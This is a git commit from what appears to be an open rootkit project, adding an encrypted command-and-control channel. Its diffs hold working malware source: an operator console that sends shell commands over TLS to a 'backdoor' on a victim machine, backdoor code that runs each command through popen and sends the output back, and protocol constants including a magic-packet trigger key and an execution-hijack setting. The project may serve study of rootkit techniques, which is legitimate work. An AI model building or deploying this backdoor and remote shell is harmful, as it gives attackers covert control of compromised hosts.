Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional

This commit is contained in:
h3xduck
2022-05-07 17:55:27 -04:00
parent f6a4c1daa0
commit ce7d36371d
11 changed files with 1935 additions and 2702 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -188,6 +188,7 @@ void activate_command_control_shell(char* argv){
free(local_ip);
}
//Rootkit backdoor V2
void activate_command_control_shell_encrypted(char* argv){
char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);

Binary file not shown.

View File

@@ -0,0 +1,55 @@
#ifndef __CLIENT_COMMON_H
#define __CLIENT_COMMON_H
#include "openssl/err.h"
#include "openssl/ssl.h"
#include <arpa/inet.h>
#include <errno.h>
#include <malloc.h>
#include <netinet/in.h>
#include <resolv.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include "../../common/c&c.h"
#define KGRN "\x1B[32m"
#define KYLW "\x1B[33m"
#define KBLU "\x1B[34m"
#define KMGN "\x1B[35m"
#define KRED "\x1B[31m"
#define RESET "\x1B[0m"
#define CLIENT_MODE_LIVE_COMMAND 0
//Global variable, specifying current client mode
int client_mode = CLIENT_MODE_LIVE_COMMAND;
#define GC_SERVER_CLOSE_CONN "EXIT"
/**
* @brief Manages the result of a possible global command understood by the client overall
* (independent of the current mode) and returns 1 if it really was a global command
* or 0 if it was not.
*
* @param buf
* @return int
*/
int manage_global_command(char* buf, SSL* ssl){
if(strncmp(buf, GC_SERVER_CLOSE_CONN, strlen(GC_SERVER_CLOSE_CONN))==0){
if(ssl != NULL){
//If in a ssl connection
char* request = CC_PROT_FIN;
SSL_write(ssl, request, strlen(request));
//We must exit now
printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
exit(0);
}
}
//Not a recognized global command
return 0;
}
#endif

View File

@@ -13,141 +13,75 @@
#include <sys/types.h>
#include <unistd.h>
#include "../../common/c&c.h"
#include "common.h"
#define FAIL -1
#define USE_FUNCTIONS 0
#if (USE_FUNCTIONS)
SSL_CTX *InitServerCTX(void) {
const SSL_METHOD *method;
SSL_CTX *ctx;
OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */
SSL_load_error_strings(); /* load all error messages */
method = TLSv1_2_server_method(); /* create new server-method instance */
ctx = SSL_CTX_new(method); /* create new context from method */
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
abort();
}
return ctx;
/**
* @brief Operates input in command shell mode.
* Returns whether the connection should keep open (0) or not (otherwise)
*
* @param buf
* @param ssl
* @return int
*/
int live_command_shell_mode(char* buf, SSL *ssl){
int is_global_command = manage_global_command(buf, ssl);
if(is_global_command == 1){
//Already finished then, go to next command input
return 0;
}
void LoadCertificates(SSL_CTX *ctx, const char *CertFile, const char *KeyFile) {
/* set the local certificate from CertFile */
if (SSL_CTX_use_certificate_file(ctx, CertFile, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
instructionsForPem();
abort();
}
//Not a global command, proceeding to analyze in live command shell mode
int bytes;
char* request = calloc(4096, sizeof(char));
strcpy(request, CC_PROT_BASH_COMMAND_REQUEST);
strcat(request, buf);
SSL_write(ssl, request, strlen(request));
/* set the private key from KeyFile (may be the same as CertFile) */
if (SSL_CTX_use_PrivateKey_file(ctx, KeyFile, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
instructionsForPem();
abort();
}
/* verify private key */
if (!SSL_CTX_check_private_key(ctx)) {
fprintf(stderr, "Private key does not match the public certificate\n");
abort();
}
}
// Create the SSL socket and intialize the socket address structure
int OpenListener(int port) {
int sd;
struct sockaddr_in addr;
sd = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sd, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
perror("can't bind port");
abort();
}
if (listen(sd, 10) != 0) {
perror("Can't configure listening port");
abort();
}
return sd;
}
void ShowCerts(SSL *ssl) //? RBW
{
X509 *cert;
char *line;
cert = SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line);
free(line);
X509_free(cert);
} else {
printf("No certificates.\n");
}
}
/* Serve the connection -- threadable */
void Servlet(SSL *ssl) {
char buf[1024] = {0};
int sd, bytes;
// this is my attempt to run HTTPS.. This is sort of the minimal header that
// seems to work. \r is absolutely necessary.
const char *szHelloWorld =
"HTTP/1.1 200 OK\r\n"
"Content-type: text/html\r\n"
"\r\n"
"<html>\n"
"<body>\n"
"<h1>So, this works, if you added a security exception to your web "
"browser</h1>\n"
"<h2>Or.... are using a genuine certificate.</h2>\n"
"<h3>This is using functions BTW..</h3>\n"
"</body>\n"
"</html>\n";
if (SSL_accept(ssl) == FAIL) /* do SSL-protocol accept */
{
ERR_print_errors_fp(stderr);
} else {
ShowCerts(ssl); /* get any certificates */
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get request */
bytes = SSL_read(ssl, buf, BUFSIZ);
buf[bytes] = '\0';
printf("Client msg:\n[%s]\n", buf);
//If valid message in protocol, we proceed to parse it
if(strncmp(buf, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){
if (bytes > 0) {
printf("Reply with:\n[%s]\n", szHelloWorld);
SSL_write(ssl, szHelloWorld, strlen(szHelloWorld));
//printf("Reply with:\n[%s]\n", response);
char *p;
p = strtok(buf, "#");
p = strtok(NULL, "#");
if(p){
//Print response
printf("%s\n", p);
}else{
printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n");
}
} else {
ERR_print_errors_fp(stderr);
}
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
}else{
//If at this point, then we failed to identify the backdoor message
//We attempt to send a final message indicating we are halting the connection
printf("[" KRED "ERROR" RESET "]""Backdoor sent unrecognizable message:\n[%s]\n", buf);
printf("[" KBLU "INFO" RESET "]""Shutting down connection now\n");
const char *response = CC_PROT_FIN;
SSL_write(ssl, response, strlen(response));
return -1;
}
sd = SSL_get_fd(ssl); /* get socket connection */
SSL_free(ssl); /* release SSL state */
close(sd); /* close connection */
//Connection should keep open
return 0;
}
#endif
int server_run(int port) {
SSL_CTX *ctx;
int server;
const char *szPemPublic = "mycert.pem";
const char *szPemPrivate = "mycert.pem";
#if (!(USE_FUNCTIONS))
const SSL_METHOD *method;
#endif
if (port < 1024) {
if (getuid() != 0) {
@@ -160,9 +94,6 @@ int server_run(int port) {
SSL_library_init(); /* Initialize the SSL library */
#if (USE_FUNCTIONS)
ctx = InitServerCTX(); /* initialize SSL */
#else
// InitServerCTX ();
OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */
SSL_load_error_strings(); /* load all error messages */
@@ -172,11 +103,7 @@ int server_run(int port) {
ERR_print_errors_fp(stderr);
abort();
}
#endif
#if (USE_FUNCTIONS)
LoadCertificates(ctx, szPemPublic, szPemPrivate); /* load certs */
#else
/* set the local certificate from CertFile */
if (SSL_CTX_use_certificate_file(ctx, szPemPublic, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
@@ -194,11 +121,7 @@ int server_run(int port) {
fprintf(stderr, "Private key does not match the public certificate\n");
abort();
}
#endif
#if (USE_FUNCTIONS)
server = OpenListener(portnum); /* create server socket */
#else
struct sockaddr_in addr;
server = socket(PF_INET, SOCK_STREAM, 0);
@@ -214,83 +137,69 @@ int server_run(int port) {
perror("Can't configure listening port");
abort();
}
#endif
for (;;) {
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
SSL *ssl;
#if (!(USE_FUNCTIONS))
char buf[1024] = {0};
int sd, bytes;
int sd;
// this is my attempt to run HTTPS.. This is sort of the minimal header that
// seems to work. \r is absolutely necessary.
const char *response =
"HTTP/1.1 200 OK\r\n"
"Content-type: text/html\r\n"
"\r\n"
"<html>\n"
"<body>\n"
"<h1>So, this works, if you added a security exception to your web "
"browser</h1>\n"
"<h2>Or.... are using a genuine certificate.</h2>\n"
"<h3>This is <u><i>NOT</i></u> using functions BTW..</h3>\n"
"</body>\n"
"</html>\n";
#endif
int client;
printf("Listening for connections\n");
printf("[" KBLU "INFO" RESET "]""Listening for connections\n");
client = accept(server, (struct sockaddr *)&addr,
&len); /* accept connection as usual */
printf("Connection: %s:%d\n", inet_ntoa(addr.sin_addr),
printf("[" KGRN "SUCCESS" RESET "]""Connection established: %s:%d\n", inet_ntoa(addr.sin_addr),
ntohs(addr.sin_port));
ssl = SSL_new(ctx); /* get new SSL state with context */
SSL_set_fd(ssl, client); /* set connection socket to SSL state */
#if (USE_FUNCTIONS)
Servlet(ssl); /* service connection */
#else
if (SSL_accept(ssl) == FAIL) /* do SSL-protocol accept */
{
if (SSL_accept(ssl) == FAIL){ /* do SSL-protocol accept */
ERR_print_errors_fp(stderr);
} else {
X509 *cert;
char *line;
cert =
SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
cert = SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
if (cert != NULL) {
printf("Server certificates:\n");
printf("[" KBLU "INFO" RESET "]""Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
printf("[" KBLU "INFO" RESET "]"
"Subject: %s\n",
line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line);
printf("[" KBLU "INFO" RESET "]""Issuer: %s\n",line);
free(line);
X509_free(cert);
} else {
printf("No certificates.\n");
printf("[" KYLW "WARN" RESET "]""Client has no certificate.\n");
}
// ShowCerts (ssl); /* get any certificates */
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get request */
buf[bytes] = '\0';
printf("Client msg:\n[%s]\n", buf);
if (bytes > 0) {
printf("Reply with:\n[%s]\n", response);
SSL_write(ssl, response, strlen(response));
} else {
ERR_print_errors_fp(stderr);
int connection_terminate = 0;
printf("[" KBLU "INFO" RESET "]""Live command shell mode active by default\n");
while(connection_terminate==0){
char buf[BUFSIZ];
//Depending on the mode, we show different UI and commands
switch(client_mode){
case CLIENT_MODE_LIVE_COMMAND:
printf(">> client["""KYLW"command live"RESET"""]>: ");
fgets(buf, BUFSIZ, stdin);
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
buf[strlen(buf)-1] = '\0';
}
connection_terminate = live_command_shell_mode(buf, ssl);
break;
default:
printf("Invalid client mode, fatal error, halting\n");
exit(FAIL);
}
}
}
sd = SSL_get_fd(ssl); /* get socket connection */
SSL_free(ssl); /* release SSL state */
close(sd); /* close connection */
#endif
// break;
}
close(server); /* close server socket */

Binary file not shown.

View File

@@ -1,14 +1,18 @@
#ifndef __BPF_CC_H
#define __BPF_CC_H
//C&C V0
//C&C V0 & V1 --> Unencrypted transmission with RAW sockets, no TCP conn
//Protocol messages are also used in the secure channel of V2 & V3 backdoor
#define CC_PROT_SYN "CC_SYN"
#define CC_PROT_ACK "CC_ACK"
#define CC_PROT_MSG "CC_MSG#"
#define CC_PROT_FIN_PART "CC_FIN"
#define CC_PROT_ERR "CC_ERR"
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
#define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#"
#define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#"
//C&C V1 -- bpv47-like trigger + encrypted shell
//C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
#define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
#define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
@@ -17,7 +21,7 @@
#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
//C&C V2 -- Distributed hidden payload in packet stream
//C&C V3 -- Distributed hidden payload in packet stream
struct trigger_t {
unsigned char xor_key;
unsigned int ip;

View File

@@ -20,7 +20,7 @@
//EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
#define EXEC_HIJACK_ACTIVE_TEMP 1
#define EXEC_HIJACK_ACTIVE_TEMP 0
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1

View File

@@ -17,67 +17,31 @@
abort(); \
} while (0)
#define USE_FUNCTIONS 0
/**
* @brief Executes a command in a pseudo terminal and returns stdout result
*
* @param command
* @return char*
*/
char *execute_command(char *command) {
FILE *fp;
char *res = calloc(4096, sizeof(char));
char buf[1024];
#if (USE_FUNCTIONS)
int OpenConnection(const char *hostname, uint16_t port) {
int sd;
struct hostent *host;
struct sockaddr_in addr;
if ((host = gethostbyname(hostname)) == NULL) {
perror(hostname);
LOCAL_ABORT();
}
sd = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = *(long *)(host->h_addr);
if (connect(sd, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
close(sd);
perror(hostname);
fprintf(stderr, "Is the server running, and on the correct port (%d)?\n",
port);
LOCAL_ABORT();
}
return sd;
fp = popen(command, "r");
if (fp == NULL) {
perror("Failed to run command");
return NULL;
}
SSL_CTX *InitCTX(void) {
const SSL_METHOD *method;
SSL_CTX *ctx;
while (fgets(buf, sizeof(buf), fp) != NULL) {
strcat(res, buf);
}
// printf("RESULT OF COMMAND: %s\n", res);
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */
method = TLSv1_2_client_method(); /* Create new client-method instance */
ctx = SSL_CTX_new(method); /* Create new context */
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
LOCAL_ABORT();
pclose(fp);
return res;
}
return ctx;
}
void ShowCerts(SSL *ssl) {
X509 *cert;
char *line;
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line); /* free the malloc'ed string */
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n\n", line);
free(line); /* free the malloc'ed string */
X509_free(cert); /* free the malloc'ed certificate copy */
} else {
printf("Info: No client certificates configured.\n");
}
}
#endif
int client_run(char *hostname, uint16_t portnum) {
SSL_CTX *ctx;
@@ -85,19 +49,14 @@ int client_run(char* hostname, uint16_t portnum) {
SSL *ssl;
static char buf[1024 * 1024];
int bytes;
#if (!(USE_FUNCTIONS))
struct hostent *host;
struct sockaddr_in addr;
const SSL_METHOD *method;
#endif
// Initialize the SSL library
SSL_library_init();
#if (USE_FUNCTIONS)
ctx = InitCTX();
server = OpenConnection(hostname, portnum);
#else
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */
method = TLSv1_2_client_method(); /* Create new client-method instance */
@@ -117,72 +76,107 @@ int client_run(char* hostname, uint16_t portnum) {
addr.sin_port = htons(portnum);
addr.sin_addr.s_addr = *(long *)(host->h_addr);
int conn_tries = 3;
while (conn_tries >= 0) {
if (connect(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
if (conn_tries > 1) {
conn_tries--;
printf("Failed to connect, trying again. Remaining tries: %i\n",
conn_tries);
sleep(1);
continue;
}
close(server);
perror(hostname);
fprintf(stderr, "Is the server running, and on the correct port (%d)?\n",
portnum);
LOCAL_ABORT();
} else {
// Connected
conn_tries = -1;
}
}
#endif
ssl = SSL_new(ctx); /* create new SSL connection state */
SSL_set_fd(ssl, server); /* attach the socket descriptor */
if (SSL_connect(ssl) <= 0) /* perform the connection */
{
conn_tries = 3;
int connection_terminate = 0;
while (conn_tries > 0 && connection_terminate == 0) {
if (SSL_connect(ssl) <= 0) {
// Connection failed
conn_tries--;
printf("Failed to establish SSL connection, trying again. Remaining "
"tries: %i\n",
conn_tries);
ERR_print_errors_fp(stderr);
sleep(1);
} else {
#if (!(USE_FUNCTIONS))
// Connection success
X509 *cert;
char *line;
#endif
char request[4096];
sprintf(request,
"GET / HTTP/1.1\r\n"
"User-Agent: Wget/1.17.1 (linux-gnu)\r\n"
"Accept: */*\r\n"
"Accept-Encoding: identity\r\n"
"Host: %s:%d\r\n"
// "Connection: Keep-Alive\n"
"\r\n",
hostname, portnum);
conn_tries = 0;
printf("\nConnected with %s encryption\n", SSL_get_cipher(ssl));
printf("Sending:\n[%s]\n", request);
printf("\n\nConnected with %s encryption\n", SSL_get_cipher(ssl));
#if (USE_FUNCTIONS)
ShowCerts(ssl); /* get any certs */
#else
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line); /* free the malloc'ed string */
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n\n", line);
free(line); /* free the malloc'ed string */
X509_free(cert); /* free the malloc'ed certificate copy */
free(line);
X509_free(cert);
} else {
printf("Info: No client certificates configured.\n");
}
#endif
SSL_write(ssl, request, strlen(request)); /* encrypt & send message */
while(connection_terminate == 0){
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get reply & decrypt */
buf[bytes] = 0;
printf("Received (%d bytes):\n[%s]\n", bytes, buf);
bytes = SSL_read(ssl, buf, sizeof(buf)); // Get request
buf[bytes] = '\0';
// second send.. - for my real web page, it comes in two parts.
// bytes = SSL_read (ssl, buf, sizeof (buf)); /* get reply & decrypt */
// buf[bytes] = 0;
// printf ("Received (%d bytes):\n[%s]\n", bytes, buf);
printf("Raw server msg:\n[%s]\n", buf);
SSL_free(ssl); /* release connection state */
// If valid message in protocol, we proceed to parse it
if (strncmp(buf, CC_PROT_BASH_COMMAND_REQUEST, strlen(CC_PROT_BASH_COMMAND_REQUEST)) == 0) {
if (bytes > 0) {
// printf("Reply with:\n[%s]\n", response);
char *p;
p = strtok(buf, "#");
p = strtok(NULL, "#");
if (p) {
char *res = execute_command(p);
char *response = calloc(4096, sizeof(char));
if(res==NULL){
strcpy(response, CC_PROT_ERR);
}else{
strcpy(response, CC_PROT_BASH_COMMAND_RESPONSE);
strcat(response, res);
}
printf("Answering: \n%s\n", response);
SSL_write(ssl, response, strlen(response));
free(response);
} else {
printf("Could not parse message correctly, ignoring\n");
}
} else {
ERR_print_errors_fp(stderr);
}
}else if (strncmp(buf, CC_PROT_FIN, strlen(CC_PROT_FIN)) == 0) {
printf("Server requested to stop the connection\n");
connection_terminate = 1;
}else {
//If at this point, then we failed to identify the server message
printf("Message not recognizable: %s\n", buf);
char *response = CC_PROT_ERR;
SSL_write(ssl, response, strlen(response));
}
}
}
}
printf("SSL client closed\n");
close(server); /* close socket */
SSL_CTX_free(ctx); /* release context */